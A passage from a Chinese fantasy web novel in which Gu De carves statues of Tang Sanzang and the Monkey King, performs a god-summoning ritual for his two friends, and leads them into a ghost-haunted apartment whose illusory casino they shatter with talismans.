他没详细解释这“神”具体是什么来头,毕竟他自己也没百分百把握。
他转向周星星:“阿星,还得麻烦你跑一趟,去买些新鲜的素菜,还有香蕉、桃子之类的水果回来,要品质好的。这是请神用的供品。”
周星星虽然满肚子疑问,但行动力超强,立刻放下碗筷:“没问题!包在我身上!”
话音未落,人已经冲出了门。
古德又对谢潮说:“阿潮,帮个忙,我们把书房那张书桌挪到北面墙边,再把房间稍微收拾一下,清出一块空地来。”
谢潮二话不说,起身和古德一起动手。
两人合力将沉重的书桌挪到指定位置,又把一些杂物暂时堆到角落,让书房中间空了出来。
接着,古德站在空地中央,神色一肃,双手结印,口中低声念诵起净天地神咒:
“天地自然,秽气分散……洞中玄虚,晃朗太元……八方威神,使我自然……灵宝符命,普告九天……乾罗答那,洞罡太玄……斩妖缚邪,杀鬼万千……凶秽消散,道炁长存。急急如律令!”
随着咒语,他指尖仿佛有微不可查的清光流转,轻轻拂过空中。
房间内原本残留的些许沉闷气息仿佛被清风扫过,顿时变得清新、肃穆起来,适合进行接下来的仪式。
做完这些,两人回到客厅。
谢潮看着古德,终于忍不住问道:“阿德,你这到底是要请哪路神仙?搞得这么正式。”
古德笑了笑,反问道:“你就不好奇我给你请的是谁?”
谢潮耸了耸肩,语气带着信任:“好奇,当然好奇。不过我相信你肯定不会害我们。你安排,我照做就是了。”
古德心里一暖,被人无条件信任的感觉确实不错。
他不再卖关子,拿起茶几上早已看好的一块木质细腻、大小合适的黄花梨木料,又拿起一套专业的雕刻刀。
谢潮有些惊讶:“阿德,你还会雕刻?”
“略懂一二。”
古德谦虚了一句,随即眼神却变得无比专注。
第82章 别看了,你的是和尚
古德左手稳稳握住木料,右手执起一把平口刀,先在木料上大致勾勒出轮廓。
接着,只见他手腕沉稳,运刀如飞!
各种型号的刻刀在他手中仿佛拥有了生命,交替使用。
或切、或削、或凿、或剔,动作行云流水,精准无比。
木屑如同雪花般纷纷落下,伴随着沙沙的轻响。
他的眼神锐利,每一刀都恰到好处,深一分则毁,浅一分则不足,展现出远超普通匠人的熟练度和控制力。
这得益于系统灌输的LV2木匠技能,虽然只是“熟练”级别,但放在现实中已是相当不错的水平,毕竟现实中没有谁是能一直不间断的练习2坤年时间。
渐渐地,一个大致的人物形象在木料上显现出来。
那似乎是一个僧人的模样,头顶戴着一种结合了毗卢帽和“五佛冠”特征、有着五片叶状装饰的头冠,身穿简洁的单薄僧袍,脚下踏着草鞋。
但奇怪的是,这僧人手中持握的不是常见的九环锡杖,而是一根……看起来颇为结实的棍棒?
随着古德用更细的刻刀进行精雕细琢,人物的眉眼、衣纹等细节越来越清晰。
谢潮看着看着,忽然觉得有点不对劲。
这僧人的脸庞轮廓,怎么越看越有几分……像自己?
他心中疑惑更甚:不是打造神像吗?怎么这神像造型这么奇怪,还跟自己长得有点像?
但见古德全神贯注,刀法越来越精细,正在刻画最传神的眼部细节,他便强压下疑问,没有出声打扰。
又过了约莫半小时,古德长舒一口气,放下刻刀,拿起细砂纸开始最后的打磨。
随着木屑被拂去,一尊高约二十厘米、栩栩如生的僧人木雕呈现在眼前。
僧人面容慈悲中带着一丝坚毅,尤其是那双眼睛,仿佛蕴含着智慧与决心,手持长棍,姿态沉稳。仔细看,面容确实与谢潮有七八分相似。
古德满意地点点头,对自己的手艺表示认可。
系统技能,果然靠谱!
接着,他毫不停歇,又拿起另一块木料,再次动刀。
这一次,他下刀愈发奔放凌厉!
木屑纷飞间,一个桀骜不驯的形象快速凸显:毛发虬结,眼窝深陷,鼻翼两侧与人中的纹路如牛角般锐利上扬,身披一副古朴战甲,双手随意搭在扛于肩头的棍子上,一股睥睨天下的野性气势扑面而来。
谢潮看到这个形象,顿时激动起来,指着木雕道:“齐天大圣孙悟空!这个我认识!德仔,这个神像是给我请神用的吧?太帅了!”
古德刚好完成最后的打磨,闻言白了他一眼,把先前雕好的那个僧人木像推到他面前:“错了,这个拿棍子的和尚,才是你的。”
然后指了指刚雕好的齐天大圣像:“这个猴子,是给阿星准备的。”
谢潮脸上的激动瞬间僵住,变成了满满的失望和不解:“啊?为什么呀?点解(为什么)给我个和尚?我要大圣啊!”
古德心里暗道:我总不能说这是为你量身定做的吧?
这可是你的大号,那位旃檀功德佛啊!
为什么谢潮的是唐三藏,而不是钟馗。
主要是古德觉得唐僧配猴子,会有“羁绊”加成嘛!
要相信他们之间羁绊的力量!
再说了,谢潮本体谢亭风演的那个版本唐僧,用棍子不是也用得挺顺手的?
堪称早期“唐三葬”了!
他正想组织语言跟谢潮解释一下唐僧其实也很厉害,至少法力还是很雄厚的……
就在这时,“咚咚咚!”敲门声再次响起,伴随着周星星气喘吁吁的声音:“德仔!阿潮!我回来了!东西买齐了!”
古德只好暂时按下话头,起身开门。
门一开,就看到周星星一副狼狈又滑稽的样子:一只手拎着好几个堆叠在一起的快餐盒,里面是各种素菜。
另一只手提着一个大塑料袋,装满了香蕉、桃子、苹果等水果;最离谱的是,他嘴里还用牙齿叼着另一个小塑料袋,里面似乎是些精致的糕点,脸颊都鼓了起来。
古德看得哭笑不得,一拍脑门:“顶你个肺,怪不得你那么慢!阿星,你买这么多干嘛?我们又不是开斋宴……”
周星星含糊不清地说:“唔…唔系…怕不够嘛……”(不是怕不够嘛)
古德无奈地让开身子:“快进来吧,真是服了你了。”
周星星赶紧挤了进来,把东西放在桌上,长长舒了口气,然后目光立刻被茶几上那两尊刚刚雕好的木像吸引住了。
“哇!德仔!这是你雕的?好厉害啊!这个猴子……是齐天大圣?!为什么我觉得他好亲切?”
周星星的眼睛瞬间亮得像灯泡一样,充满了惊喜。
古德点头:“亲切就对了,这本就是给你准备的。”
周星星一听,手脚麻利地把买来的素菜和水果在茶几上摆好,脸上满是兴奋和迫不及待,搓着手问道:
“阿德!真的?现在东西都齐活了!咱们是不是可以开始……那个
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,请大圣上身了?”
古德看了看准备妥当的供品,又看了看一脸期待的周星星和虽然沉稳但眼神也带着探究的谢潮,点了点头:
“可以开始了。不过,仪式之前,先净口净面,漱去杂秽,澄澈身心,以示恭敬。”
他特意强调了一句,这不仅是卫生,更是为了减少自身浊气,避免冲撞灵觉。
他指了指洗手间的方向。
其实,正规的请神仪式远比这繁琐庄重,需要沐浴更衣、设坛诵经、步罡踏斗、诸多禁忌,一样都马虎不得。
但古德心里有种莫名的直觉。
谢潮、周星星与他们各自大号之间有那种剪不断的奇妙关联,再加上自己系统出品的LV2请神术作为引子,或许……这繁琐的规矩,可以稍微侧重“心意”而简化“形式”?
心诚则灵,缘分到了,关窍自通。
周星星和谢潮闻言,立刻乖乖去洗手间用清水漱口洗脸,仔细整理了一下衣冠,虽然动作略显匆忙,但态度却是前所未有的认真。
趁这功夫,古德走进已经简单布置过的书房。
他先走到窗边,将窗户推开一条小缝,低声道:“留下清气,退避杂氛,开此方便之门。”
此为“留清辟浊”,意为既留一线清净之气流通,也让无关游魂散祟由此退避,算是打个招呼,行个方便。
随后,他将那两尊精心雕刻的黄花梨木神像,并排安置在靠北墙(玄武位,主靠山、安稳)、铺着崭新红布(辟邪、纳吉)的长条桌案上,权当临时法坛。
左边是手持长棍、面容与谢潮有七八分相似的“三藏法师”像;右边是桀骜不驯、扛着棍子的“齐天大圣”像。
摆放位置他斟酌了一下。
按道统规矩,师徒有别,佛法僧三宝亦有序,本该分个主次。
但想到这两位关系的特殊性,亦师亦友,乃至平等,以及这次请神是希望他们“同心协力”的目的,古德干脆让两尊像并肩而立,略呈“犄角之势”,暗合互助之意。
他想,这两位“正主”若是冥冥中有感,以其通达之性,大概也不会介意这点细节,说不定反而觉得更合脾胃。
他在齐天大圣像前摆上香蕉、桃子等鲜果投其所好,又在唐三藏像前摆上清炒时蔬、豆腐等素斋。
然后又拿出两个小巧的黄铜香炉,分别置于神像前方正中位置。
这时,周星星和谢潮也收拾妥当,轻手轻脚地走了进来,生怕带进一丝风,惊扰了什么。
第83章 这次……可能玩得比预想中要大一点啊
原本还有些嬉闹的周星星,一进入这间被净天地神咒清扫过、又简单布置了神像香炉的房间,立刻感受到那股不同于以往的肃穆、宁静乃至略带庄严的空气氛围。
仿佛光线都凝重了几分,他不自觉地收敛了神色,连呼吸都放轻了,和谢潮一起,安静地站在古德身后侧方,不敢僭越。
古德从随身布袋里取出六支纤细的清香,他并未用火,拿着香只是手一个翻转,把香从倒拿回正。
嗤……
六支香的顶端同时冒起青烟,随即燃起细小的火苗,散发出清幽的气味,瞬间弥漫在整个书房。
这一手虚空燃香的功夫,看得周星星和谢潮眼睛发直。
古德双手持香,左手三指在上,右手三指在下,是为“抱香印”。
他举至眉间,面向神像,神色庄重,躬身拜了三拜。
每一次弯腰,幅度均等,沉稳有力,带着无比的虔诚与敬意。
所谓“一拜心诚,二拜意专,三拜通感”。
本来古德也不太懂这些,但是点上炁体源流后,他自然而然的明白了很多事情,这就是有系统性教学的好处。
拜毕,他上前一步,用左手食指拇指分别轻轻拈起三支香,右手小指轻弹,拂去香杆上并不存在的灰尘,此谓“净香”。
然后依次将三支香插入唐三藏像前的香炉,另三支插入齐天大圣像前的香炉。
青烟袅袅,起初盘旋,随即竟笔直上升,高达尺余而无散乱之象,在神像头顶盘旋片刻,如同稽首致意,才缓缓散开,满室生香。
此乃“信香直达”的吉兆,显示环境清净,心意已初步上达。
“跪下。”
古德轻声说道,语气不容置疑,同时将两个蒲团放在神像正前方。
周星星和谢潮此刻已被气氛感染,心中敬畏之意油然而生,没有半分犹豫,依言恭恭敬敬地跪在蒲团上。
周星星面向齐天大圣像,谢潮面向唐三藏像。
两人心里此刻倒是没什么别扭,反而那种奇异的亲切感越发明显。
“拿着这两张请神符,紧守心神,然后跟着我念诵请神咒。心要诚,意要专,存想所请尊神之宝相庄严。”
古德将两张画好的请神符分别递给谢潮和周星星,接着,他目视神像,调整呼吸,以低沉、清晰而富有韵律的声调,一字一句缓缓吟诵咒文:
“道由心学,心假香传。香焚玉炉,心存帝前。真灵下盼,仙旆临轩。弟子关告,径达九天。”
周星星和谢潮连忙收敛心神,摒弃杂念,双手恭敬地捧着灵符,跟着古德一字一句地念诵起来。
他们的声音起初还有些生涩、微弱,但在这特定氛围和咒文本身韵律的带动下,很快便沉静下来,声音逐渐合一,融入了一种奇特而庄重的韵律之中,在书房内缓缓回荡。
随着咒文的重复诵念,奇异的现象发生了!
那两炉原本袅娜盘旋的青烟,骤然一变!
仿佛被一股无形的力量牵引,烟柱瞬间变得笔直如线,凝而不散,以一种决绝的姿态,猛地向上冲去!
直指屋顶,仿佛真的要穿透层层阻碍,将这虔诚的祈愿送达那冥冥之中的九天之上!
那六支香燃烧的速度,似乎也悄然加快了一丝。
与此同时,在此方综影世界的外围,无尽的虚空之中……
两个庞大、朦胧、蕴含着难以言喻威严与玄妙的意识光团,仿佛被某种熟悉虔诚的呼唤所吸引,骤然跨越无穷距离,降临于此!
这两个意识光团出现后,似乎都愣了一下,彼此“打量”了一下对方。
一阵无声却信息量巨大的交流在瞬间完成:
(“咦?你是哪一位面的泼猴/秃驴?”)
(“原来如此,有点意思.....”)
(“都是自己人,这个位面也很有意思....”)
(“有没有兴趣合作一下.....”)
交流完毕,两位意识光团似乎达成了某种默契,准备顺着那两道微弱的香火气息,降临一丝神念去看看。
然而,当它们试图进入这个综影世界时,却遇到了麻烦。
这个世界的“壁垒”似乎有点……特殊?
像是个筛子,又像是个扭曲的迷宫。
它们的力量一靠近,不是被弹开,就是莫名其妙地从另一个方向滑了出去,根本无法稳定降临。
强行突破的话,只怕这个脆弱的的世界会瞬间崩溃。
两个意识光团围着这个世界转了几圈,有点无奈,又有点好奇。
就像两个巨人想进一个玩具屋,却发现门太小,窗户也钻不进去。
就在这时,那两道源自古德仪式、由谢潮和周星星诵念加持的香火气息,如同两条纤细却坚韧的丝线,顽强地透出了世界壁垒,飘荡在虚空之中。
两个意识光团顿时“亮”了一下!
有办法了!<
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br>它们各自分离出极其细微、几乎可以忽略不计的一丝神念,小心翼翼地附着在那两道属于自己“缘分”的香火丝线上。
如同顺着蛛丝滑落,这两丝神念悄无声息地、以一种对世界毫无负担的方式,缓缓渗入了世界壁垒,朝着香火的源头。
那间位于香江阴阳路的小书房坠落而去。
完成这一步后,两个庞大的意识光团似乎颇为满意,如同完成了恶作剧的孩子,悄无声息地隐没于虚空深处,仿佛从未出现过。
书房内,异变陡生!
正在专心念咒的谢潮和周星星,身体同时剧烈一震!
仿佛有一股微弱却无比精纯、带着某种古老浩瀚气息的暖流,顺着那笔直的香火,骤然灌入他们的天灵盖,瞬间流遍四肢百骸!
两人不约而同地睁大了眼睛,脸上露出难以置信的惊喜之色!
“阿德!”周星星率先叫出声,声音带着激动,“我……我好像感觉到……那个大圣木像……它……它在对我笑?!有种说不出的亲近感!”
谢潮也深吸一口气,努力保持镇定,但眼神中的震撼掩饰不住:“我也是……感觉和这尊僧像之间,好像多了一丝若有若无的联系……很微弱,但很清晰!”
古德此刻也正处于一种玄妙的感觉中。
在刚才那一刹那,他敏锐的灵觉捕捉到,整个世界的似乎极其短暂地波动了一下,仿佛有一颗小石子投入了平静的湖面,荡起了一圈微不可查的涟漪。
一种难以言喻的感觉一闪而逝,似乎这个世界有了一点活力,但是又像是错觉。
听到两人的话,古德猛地回过神来,眼中精光一闪。
他之前的猜测恐怕没错!
这次看似简单的请神,可能真的触动了某些深层次的规则,引来了意想不到的关注,甚至……可能让这个原本有些混乱的综影世界,产生了一丝极其细微但正向的巩固?
“很好!”古德压下心中的震动,对两人露出一个鼓励的笑容,“这说明仪式成功了!你们已经神像建立了初步的联系。
好好感受这份联系,接下来你们就带回家供奉起来吧。请神诀我也交给你,后天晚上对付那厉鬼,就要靠你们两个出力了!”
他看向那两尊在袅袅青烟中似乎愈发栩栩如生的木雕神像,心中暗道:这次……可能玩得比预想中要大一点啊。
不过,看起来结果是好的?
第84章 我随意就行
7月18日,夜,亥时(晚上9点到11点)。
阴阳路一带,今晚显得格外寂静。
往日里闪烁的霓虹似乎都黯淡了几分,空气中弥漫着一股若有若无的压抑感。
一辆红色的出租车悄无声息地滑行到阴阳路888号附近的路边,稳稳停下。
车门“咔”一声轻响被推开,古德率先探身而出。
他今晚换了一身利落的黑色运动装,脚踏轻便跑鞋,腰部那个鼓鼓囊囊的淡黄色帆布挎包显得格外醒目。
他站在车边,目光如电,快速扫过不远处这栋在夜色中沉默矗立的旧楼。
紧接着,后排车门也打开了。
谢潮和周星星先后钻了出来。谢潮依旧是他那身标志性的黑色皮衣,表情冷峻,眼神警惕地扫视着周围。
周星星则穿着一套略显宽大的警用皮夹克,脸上带着点兴奋和紧张,不停活动着手腕脚腕,像是准备上场打擂台的拳手。
古德没说话,径直绕到车尾,“咔哒”一声掀开后备箱。
里面除了常见的工具箱外,还整齐地放着几件用红布包裹的长条状物品。
他先是小心翼翼地取出四根约一米长、看起来可以拼接的木棒。
这些木棒材质特殊,似乎是某种致密的硬木,表面用精湛的刀工刻满了密密麻麻、玄奥复杂的符文凹槽。
更引人注目的是,所有符文凹槽都被殷红的朱砂仔细填充,而在朱砂之中,还隐约可见一些极其细微、闪烁着淡金色光泽的颗粒物混合其中,仿佛星辰碎屑,平添几分神秘。
古德熟练地将其中两根木棒前端的榫头对准另两根的卯眼,轻轻一旋一压,“咔嗒”一声,严丝合缝地拼接成了两根长约两米、符文连贯的长棍。
他将长棍分别递给周星星和谢潮。
“拿着,小心点。‘如意金箍棒’我是变不出来,不过这可是我用了百年梨花木,花了整整两天工夫才做出来的‘打鬼棒’。”
古德语气带着点自豪,又不忘叮嘱,“已经用秘法初步开过光了,算是入了品的法器。不过灵性这东西需要温养,以后你们得经常带在身边,用自身气息浸润,才能如臂指使,威力也会慢慢提升。”
周星星接过长棍,入手沉甸甸的,手感极佳。
他忍不住兴奋地手腕一抖,耍了个并不算太标准的棍花,带起一阵细微的风声。
他看向两手空空的古德,好奇地问:“德仔,家伙事儿给我们了,你的呢?你别告诉我你就靠拳头跟那老鬼讲道理啊?”
古德闻言,嘴角勾起一抹神秘的弧度,他背对着两人,弯腰在后备箱里继续翻找,随口应道:“我?我随便凑合一下就行。”
话音刚落,只见他猛地从后备箱里抽出一件大家伙!
那赫然是一柄造型略显夸张的桃木阔剑!(材料皆为谢潮所赠)
剑身长约一米八,宽度竟有将近八十厘米,与其说是剑,不如说更像一扇门板!
剑身厚重,木质纹理清晰,透着一股古朴沧桑的气息,虽然巨大,但线条流畅,显然经过精心打磨。
古德单手握住缠着红绳的剑柄,随意地凌空一挥!
“呼——!”
一股沉闷的破风声响起,仿佛连周围的空气都被这势大力沉的一剑搅动!
谢潮和周星星看得目瞪口呆,下巴都快掉地上了。
周星星更是结结巴巴地指着那“门板剑”:“我……我顶你个肺!德仔……你管这玩意儿叫……随便凑合?!”
古德没理会他们的震惊,反手又从后备箱里拿出那柄一直用法力温养的常规尺寸桃木剑。
此时这柄剑光华内敛,灵性充盈,外面套着一个简单的红布剑鞘。
他将这柄正常尺寸的桃木剑背在身后,手里则提着那柄夸张的桃木阔剑,仿佛轻若无物。
古德转过身,看着还在怀疑人生的两人,打了个响指:“还愣着干什么?走啊!”
古德持阔剑在前,谢潮和周星星分持长棍左右稍后,三人呈一个简单的三角阵型朝着阴森森的阴阳路888号楼走去。
楼下,几名穿着制服的警员在远处拉起了警戒线。
这是谢潮提前安排的清场,整栋楼白天也已用“管道紧急维修”的名义暂时疏散了居民。
此时,楼下已经有人(或者说,不全是人)在等候了。
古德走近一看,眉毛不由的挑了一下。
警戒线内,除了岚婆外,还多来了三人,这三人分别是:于子朗、龙婆(司徒姑),还有莫作栋。
“龙婆,子朗,莫Sir?你们怎么都来了?”古德有些意外地问道。
岚婆依旧是那副古井无波的样子,微微摇头:“我刚到,还没来得及问。”
于子朗挠了挠头,脸上带着点不好意思,又有点跃跃欲试的表情,解释道:
“阿德,我之前送小宜的听你说了今晚的行动,我想着……说不定能帮上点忙,就过来看看。毕竟我现在……也能看到些东西了。”
他指了指自己的眼睛。
古德眼神微动,重新打量了一下于子朗。
这小子,明知山有鬼,偏向鬼山行,这份胆识和热心肠,倒是和谢潮、周星星他们挺对路子。
看来这就是他们之间的缘分。
周星星一听于子朗也有“特殊能力”,顿时来了兴趣,凑过去搂住于子朗的肩膀,笑嘻嘻地问:“哟!哥们儿!同道中人啊?你也有那阴阳眼?”
于子朗看着周星星,笑着伸出手:“周Sir,好久不见。没想到能在这儿碰上你。”
周星星一愣,仔细端详了一下于子朗的脸,记忆的闸门打开,这是当年他还在飞虎队时候的老熟人:
“哦!我想起来了!你是不是……前年旺角珠宝行劫案那次,过来协助调查的那个……那个很能‘蒙’……不是,很能推理的那位于子朗于Sir?”
于子朗哈哈一笑:“对,是我!周Sir好记性!”
两人顿时有种他乡遇故知的感觉,凑到一边嘀嘀咕咕起来,交流起于子朗
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的特殊能力,气氛一下子活跃了不少。
古德没管他们,目光转向龙婆和莫作栋,带着询问的神色:“龙婆,您之前不是说不希望莫Sir过多接触这方面的事吗?怎么今天……”
龙婆轻轻叹了口气,刚想说话,身后的谢潮开口了,语气平静:
“是我让莫Sir来的。莫作栋现在已经正式调入我们特别事务科,负责后勤支援和情报整理。我觉得他需要多见见‘世面’,练练胆子,对以后工作有帮助。”
古德有些惊讶地看了一眼莫作栋,没想到这位看起来有点怂、但关键时刻还挺靠谱的CID探员,这么快就被谢潮“招安”了。
不过想想也是,特别事务科确实需要这种既了解常规警务又有一定心理承受能力的人。
龙婆见谢潮解释了,便对古德点了点头,眼神中带着一丝无奈和关切。
古德明白了,龙婆这是不放心儿子,特意跟过来压阵的。
就是不知道这位看起来深藏不露的龙婆,今晚会拿出什么底牌。
古德环视了一下在场的“阵容”,心里快速盘算了一下,直接开始安排任务:
“岚婆,您经验最丰富,麻烦您在外面守着,布个简单的结界也好,盯着点周围的动静也罢,主要是防止那家伙狗急跳墙,窜出来祸害别人。”
岚婆和蔼一笑,手中不知何时多了一串乌木念珠:“放心吧德仔。老婆子我这次送那小丫头下去,下面给了不少好处,正好活动活动筋骨。你们放心进去,外面交给我。”
古德听到“小丫头”,心里一动,很想问问小宜到底被怎么安排了,是不是真像岚婆之前暗示的那样有了好归宿。
不过眼下显然不是闲聊的时候,他压下好奇心,点了点头。
他又对莫作栋说:“莫Sir,你们也在外面,听岚婆安排,顺便……嗯,观摩学习一下。里面情况不明,你们暂时别进去。
对了,你跟于sir也谈一谈,也看住他别让他乱跑,他这人好奇心很重。”
莫作栋都郑重地点了点头。
安排妥当,古德对还在跟于子朗热聊的周星星招了招手:“阿星!别聊了,准备干活!”
周星星意犹未尽地拍了拍于子朗的肩膀,跑了回来。
谢潮也默默调整了一下呼吸,握紧了手中的长棍。
古德深吸一口气,看了一眼面前这栋在夜色中如同巨兽般蛰伏的旧楼,眼神变得坚定。他率先迈步,走向那扇写着888号的单元门。
谢潮和周星星一左一右,紧随其后。
就在三人的脚步即将踏入楼内的一刹那——
一阵诡异、空灵、仿佛从极其遥远的地方飘来的音乐声,毫无征兆地在寂静的夜空中响起!
“噔噔~蹬蹬~噔噔蹬蹬~噔噔蹬蹬~噔噔蹬蹬~”(参考回魂夜里的那BGM。)
那旋律阴森而熟悉,节奏带着一种说不出的邪魅,中间还夹杂着如同鬼哭般的风声呜咽,瞬间将周围的气氛渲染得无比恐怖!
第85章 404内的景象
那突如其来的阴森音乐,让正准备进入楼内的古德三人脚步一顿,心神瞬间紧绷起来!
然而,这诡异的氛围只持续了不到三秒。
就听身后传来“啪”的一声脆响,紧接着音乐戛然而止!
古德猛地回头,只见龙婆正一脸无奈地收回手,而莫作栋则捂着后脑勺,龇牙咧嘴地倒吸冷气,另一只手里还拿着一个老式的便携式录音机,磁带仓盖都还没合上。
龙婆尴尬地对着古德笑了笑,解释道:“德仔,别介意,别介意啊……这臭小子,就喜欢搞这些故弄玄虚的事情,吓到你们了吧?回头我收拾他!”
莫作栋委屈巴巴地揉着脑袋,小声辩解道:“妈……我这不是看气氛都到这儿了,想着配个背景音乐更有感觉嘛……谁知道你们反应这么大……”
古德看着这对母子,无语地翻了个大大的白眼。
他没好气地转过身,懒得搭理他们,径直走向漆黑的单元门。
周星星也松了口气,刚才他可真是被吓了一跳,对着莫作栋比了个国际友好手势,然后赶紧跟上古德。
不过被莫作栋这么一闹,原本凝重压抑的气氛倒是缓和了不少,甚至有点哭笑不得。
三人不再耽搁,借着楼道里声控灯昏暗的光线,小心翼翼地沿着楼梯向上走。
空气中弥漫着一股老楼特有的霉味和灰尘气息,但越靠近四楼,一股若有若无的阴冷和腐朽味道就越发明显。
来到四楼,404室的房门就这么敞开着。
门内是一片深不见底的黑暗,仿佛一张择人而噬的巨口,静静地等待着猎物上门。
阴冷的气息从门内源源不断地涌出,让人汗**倒竖。
周星星赶紧把那个能见鬼的特制黑框眼镜戴了起来,紧张地朝门内张望,虽然除了黑暗什么也看不到。
古德站在门口,感受着门内那股强大而怨毒的阴气,心中冷笑。
这厉鬼果然知道他们来了,而且毫不掩饰地摆出了“请君入瓮”的姿态,显然是把他们当成了送上门来的“点心”。
“谁是猎人,谁是猎物,现在下结论还太早。”古德低声自语,眼神锐利。
他心念一动,体内液态法力珠微微旋转,低喝一声:
“金光速现,覆护**!急急如律令!敕!”
嗡!
一层凝实而璀璨的淡金色光芒瞬间自古德体内透出,覆盖全身!
至阳至刚的气息扩散开来,将门口的阴寒之气都逼退了几分!
周星星和谢潮看着金光闪闪的古德,眼睛里羡慕的光芒都快凝成实质了!
这特效,这气势,太帅了!
古德对两人沉声道:“都打起精神!这里面恐怕已经被那厉鬼经营成了一个小型的‘鬼蜮’,自成一片空间,幻象丛生,危机四伏。你们跟紧我,注意安全!”
他顿了顿,再次检查:“我给你们画的‘请神符’都贴身带好了吧?万一情况不对,感觉顶不住了,别犹豫,立刻念咒请神!
还有护身符,也确保在激活状态。这里面除了那个正主厉鬼,估计还有不少被他害死、受他控制的‘伥鬼’。那些小喽啰,以你们现在的身手和法器,应该能应付。”
谢潮和周星星对视一眼,都从对方眼中看到了紧张,不过谢潮经验丰富,比周星星放松不少。
他们用力点了点头,握紧了手中刻满符文的打鬼棒。
古德最后叮嘱一句,语气带着一丝冷冽:“记住,里面的鬼,能抓就抓,抓不了……就直接物理超度,不用客气!”
说完,他不再犹豫,单手握住那柄桃木阔剑,周身金光流转,一步踏入了404室那漆黑的门口!
谢潮和周星星紧随其后!
就在跨过门槛的瞬间,三人只觉得眼前骤然一亮!
仿佛穿过了一层水膜,周围的景象发生了天翻地覆的变化!
哪里还有什么破旧肮脏的出租屋?
眼前赫然是一个极其奢华、金碧辉煌的大型赌厅!
水晶吊灯散发出耀眼的光芒,柔软的地毯,一张张绿色的赌桌周围围满了衣着光鲜的男男女女,筹码碰撞的清脆声、兴奋的欢呼声、沮丧的叹息声混杂在一起,人声鼎沸,热闹非凡!
空气中弥漫着雪茄、香水和金钱的味道。
“**……”周星星忍不住低骂一声,被这突如其来的场景转换搞得有点懵。
古德眉头紧锁,这幻境太逼真了!
他悄悄从口袋里摸出一张绘制好的“破障符”,夹在指间,心中默念咒语:
“天地清明,本自虚无。明心见性,破妄存真!灵宝符命,普告九天。乾罗答那,洞罡太玄。斩妖缚邪,秽气分散!破!”
随着咒语,他指尖法力微吐,破障符“嗤”地一声无火自燃,化作一道清冽的白色光华,如同水波般向四周荡漾开去!
然而,白光扫过,眼前的赌厅景象只是微微波动了一下,如同信号不良的电视画面,随即又恢复了稳定,丝毫没有消失的迹象!
古德眼中闪过一丝凝重:“这厉鬼的幻术造诣这么深?一张破障符竟然破不开?”
就在这时,一个穿着极其性感暴露、戴着兔耳朵发箍的兔女郎,扭动着水蛇腰,迈着猫步,风情万种地走到了古德面前不远处。
她脸上挂着职业化的甜美笑容,声音嗲得能滴出水来:
“三位尊贵的客人晚上好呀~是第一次来我们‘富贵天堂’玩吗?需要小妹我带你们去兑换筹码吗?我们这里什么玩法都有哦~”
这兔女郎身材火辣,面容娇媚,尤其是那双眼睛,仿佛会勾魂似的。
周星星看得眼睛都直了,下意识地咽了口唾沫,手里的棍子都快握不稳了。
谢潮眉头一皱,察觉不对,用手肘狠狠撞了一下周星星的肋骨,低喝道:“醒醒!看看清楚!”
周星星吃痛,哎哟一声,这才回过神来,但眼神还是有些迷离。
古德冷哼一声,眼中金光一闪,直接看破了这兔女郎的幻象伪装!
只见那性感妖娆的皮囊之下,赫然是一个满脸褶皱、头发花白、起码有六十多岁的老阿婆的魂体!
这老阿婆还对着古德挤出一个自以为妩媚、实则惊悚的笑容!
古德顿时感觉一阵恶寒,胃里有点翻腾。
这赌鬼厉鬼的品味真是……一言难尽!
也太不挑食了!
他连忙移开目光,不再看这个辣眼睛的兔女郎,而是将阴阳眼运到极致,扫视
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整个赌厅!
果然!
在金碧辉煌的表象之下,真实的场景显露出来:水泥地面粗糙冰冷,墙壁斑驳脱落,整个空间灰蒙蒙的,弥漫着浓郁的阴气和尘埃。
那些热闹的赌客和荷官,全都变成了一个个面目狰狞、形态各异的鬼物!
有的缺胳膊少腿,有的七窍流血,有的保持着死前的惊恐表情……古德眼中的它们全都停下了虚假的动作,齐刷刷地转过头,用空洞或怨毒的眼睛,死死地盯着闯入的三个不速之客!
古德粗略一扫,心里有了数。
这些鬼物大概有二十多只,大部分是怨灵级别,少数几个散发着恶鬼的气息。
而那个最强的厉鬼,依旧没有现身,不知道藏在哪个角落窥伺。
“既然一张破障符不够,那就多来几张!”
古德不再犹豫,直接从挎包里掏出一沓共六张破障符!
他脚踏七星步,身形如游龙般在门口小范围内快速移动,同时手腕连抖,将六张符箓按照六合方位精准地掷出!
“天地无极,乾坤借法!六合破障,邪祟显形!敕!”
六张破障符悬浮在半空,瞬间同时燃烧!
化作六道比之前粗壮数倍的清圣光柱,分别镇守六个方位,光柱之间彼此勾连,形成一个临时的简易破邪符阵!
嗡——!!!
整个幻境空间剧烈地扭曲、波动起来!
如同被投入石子的水面,那些奢华的水晶灯、赌桌、地毯……如同褪色的油画般迅速剥落、消散!
短短两三秒内,幻象彻底崩溃!
露出了404房间原本的破败、阴森、如同废墟般的真实面貌!
灰败的墙壁,散落的垃圾,还有那二十多只显露出真身、因为幻境被破而显得有些惊慌和愤怒的鬼物!
那个兔女郎老阿婆也现出了原形,正用怨毒的眼神瞪着古德。
就在幻境破碎的瞬间,古德却做了一件让谢潮和周星星目瞪口呆的事情。
他猛地向后撤了一步,敏捷地躲到了两人身后!
谢潮:“???”
周星星:“???”
两人一脸懵地回头看着古德。
他们想问古德那后退两步的动作是认真的吗?
古德躲在两人的背影后面,指了指前面那群张牙舞爪的鬼物,理直气壮地说:
“这些都是小喽啰,怨灵和低级恶鬼水准,正好给你们练练手,积累点实战经验!我在后面给你们压阵,顺便找出那个藏起来的大BOSS!”
谢潮和周星星对视一眼,都从对方脸上看到了无奈和一丝……被信任的复杂情绪。
得,工具人实锤了。
“上吧!别客气!”古德在后面加油打气。
周星星深吸一口气,把刚才被兔女郎欺骗感情的怒火,全都转移到了眼前这个现出原形的老阿婆鬼身上!
他大吼一声,抡起手中的打鬼棒,第一个冲了上去!
“老虔婆!敢骗你星哥的感情!吃我一棒!”
闪烁着符文光芒的木棍,带着呼啸的风声,狠狠地朝着那老阿婆鬼砸去!
战斗,正式打响!
而古德则好整以暇地站在后方,目光如电,仔细搜寻着那个真正目标的踪迹。
第86章 404房间内的战局
眼见周星星一马当先,抡着棍子冲向那个幻化成兔女郎的老鬼婆,谢潮也不敢怠慢,深吸一口气,眼神一凛,握紧手中的打鬼棒,紧随其后冲入了鬼群!
面对二十多只张牙舞爪、形态各异的怨灵恶鬼,两人虽然心里发毛,但动作却丝毫不乱。
他们牢记古德的叮嘱,首要目标是自保和清场!
“阿潮!先给它们‘洗把脸’!”
